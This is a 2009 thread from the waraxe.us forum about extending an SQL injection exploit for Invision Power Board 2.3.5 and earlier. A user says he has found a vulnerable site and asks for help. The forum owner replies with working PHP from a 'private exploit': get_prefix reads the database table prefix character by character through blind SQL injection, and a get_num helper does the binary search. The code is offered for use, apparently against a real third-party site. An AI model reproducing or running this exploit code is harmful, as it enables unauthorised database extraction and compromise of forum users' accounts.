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www.waraxe.us Forum Index -> Invision Power Board -> IPB <= 2.3.5 injeciton - Get table prefix and usernames?
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IPB <= 2.3.5 injeciton - Get table prefix and usernames?
PostPosted: Sat Jul 11, 2009 6:00 pm Reply with quote
renaker
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Joined: Nov 15, 2008
Posts: 27




Hi everyone,

I've been using waraxe's IPB <= 2.3.5 (version 1.2). I've come across what would be a vulnerable site, but the table prefix isn't ibf_. Another issue is getting the username, since I'm guessing most people rely on the display name being the username.

I can code php pretty well, but my mysql knowledge is pretty primitive. Does anyone have a script out there that ether gets the table prefix, or a username from the user id? If not, if someone could so much as present the concept, I'd love to try and write a script for it and share. I've been semi-studying waraxe's script, and get I alot of it, but the mysql stuff still kinda tarts me out lol.
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PostPosted: Sat Jul 11, 2009 7:37 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Someone allready did modifications you are interested in:

http://www.waraxe.us/ftopict-3942.html


And for your information - here is code snippet, that does the prefix fetching magic:

Code:

function get_prefix()
{
   $out = '';
   echo "Fetching prefix ...\n";
   
   $p = '(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)=1';
   if(test_condition($p) === false)
   {
      die('Failed check for table count');
   }
   
   $p = '(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)';
   $len = get_num(0, 100, $p);
   $len -= 16;
   if($len < 0)
   {
      die('Prefix fetch failed!');
   }
   else
   {
      echo "prefix length is $len bytes\n";
   }
   
   //%_members_converge == 0x256d656d626572735f636f6e7665726765
   $p = "(SELECT ORD(SUBSTR(table_name,%d,1)) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)";

   for($i = 1; $i < $len + 1; $i ++)
   {
      $p2 = sprintf($p, $i);
      $ch = chr(get_num(32, 128, $p2));
      echo "Got pos $i --> $ch\n";
      $out .= "$ch";
      echo "Current prefix: $out \n";
   }
   
   echo "\nFinal prefix: $out\n\n";
   
   return $out;
}


It's coming from private exploit, but you can modify it for your own needs.

P.S. MySql version needs to be >= 5.0 because of the information_schema meta database. If MySql is older, then you need to use bruteforce or wordlists in order to guess the prefix.
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PostPosted: Sat Jul 11, 2009 8:53 pm Reply with quote
renaker
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Joined: Nov 15, 2008
Posts: 27




very cool, thanks a lot waraxe Very Happy



edit: any chance you could include the get_num function as well, it calls it, i don't have it? It would save me a lot of time <3
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PostPosted: Sun Jul 12, 2009 1:17 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




renaker wrote:
very cool, thanks a lot waraxe Very Happy



edit: any chance you could include the get_num function as well, it calls it, i don't have it? It would save me a lot of time <3


Code:

function get_num($min, $max, $pattern)
{
   $curr = $out = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $out = $max;
         }
         else
         {
            $out = $min;
         }
         
         break;
      }
      
      $half = intval(floor($area / 2));
      $curr = $min + $half;
      
      $post = $pattern . '%253e' . $curr;
      
      $bigger = test_condition($post);
      
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

      echo "Current test: $curr-$max-$min\n";
   }
   
   return $out;
}
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PostPosted: Sun Jul 12, 2009 5:55 pm Reply with quote
renaker
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Joined: Nov 15, 2008
Posts: 27




thanks agian. Smile
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IPB <= 2.3.5 injeciton - Get table prefix and usernames?
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